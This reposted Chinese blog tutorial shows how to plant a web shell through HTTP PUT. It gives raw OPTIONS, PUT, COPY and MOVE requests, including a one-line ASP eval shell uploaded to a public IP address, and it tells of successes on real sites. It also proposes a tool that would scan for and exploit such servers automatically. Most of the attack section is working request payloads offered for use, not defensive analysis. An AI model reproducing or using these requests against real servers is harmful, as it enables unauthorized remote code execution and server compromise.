码迷,mamicode.com
首页 > Web开发 > 详细

HTTP - PUT 上传文件/Shell (二)

时间:2015-06-04 15:39:02      阅读:538      评论:0      收藏:0      [点我收藏+]

标签:

上一篇文章 HTTP - PUT 上传文件/Shell 讲到自己搭了一个环境,去测试HTTP - PUT上传Shell。最近又遇到几个PUT上传的例子,也成功上传了几次,来分享一下思密达。

 

0x00 判断是否允许HTTP PUT

发送这样的一份报文到服务器,查看服务器返回:

OPTIONS / HTTP/1.1
Host: 192.168.9.151:8086
Connection: Keep-alive
Accept: text/plain
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5

如果返回值是200,就可以进行下一步尝试

 

0x10 HTTP - PUT 上传

根据语言的类型,需要上传不同类型的文件,不过先不急,试试上传一个txt文件。

PUT /test.txt HTTP/1.1
Content-Length: 31
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: 218.94.36.38:9010

<% execute(request("value")) %>

如果上传成功了,再好不过。不成功的话,有可能是因为HTTP请求头的问题。根据返回代码,可以参考 https://msdn.microsoft.com/en-us/library/aa142816(v=exchg.65).aspx

成功之后,再根据服务器语言上传对应的木马:

PUT /test.asp HTTP/1.1
Content-Length: 31
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: 218.94.36.38:9010

<% execute(request("value")) %>

即使格式都对,也有可能上传失败,服务器可能做了一些配置。不急,且往下看

 

0x20 HTTP - COPY/MOVE

这时候,第一次上传成功的test.txt文件就起作用了。

COPY /test.txt HTTP/1.1
Host: test.com
Destination:  http://test.com/test.asp
Overwrite: T

或者采用MOVE:

MOVE /dir_name/test.aspx HTTP/1.1
Destination: /test.aspx
Host: test.com

注意MOVE的时候,要求两个文件不在同一个文件夹内。 

大概走到这儿,能传上去的,就传上去了= =传不上去的,可以试试 HTTP METHOD 中其他的方法

 

0x30 其他

其实可以考虑做一个浏览器插件或者python写个小工具,打开页面的时候自动检测网站是否允许奇奇怪怪的HTTP Method或者自动化的去上传。后续,还会继续分享~~~

 

祝好运~<( ̄3 ̄)> 

 

HTTP - PUT 上传文件/Shell (二)

标签:

原文地址:http://www.cnblogs.com/kuoaidebb/p/4551764.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!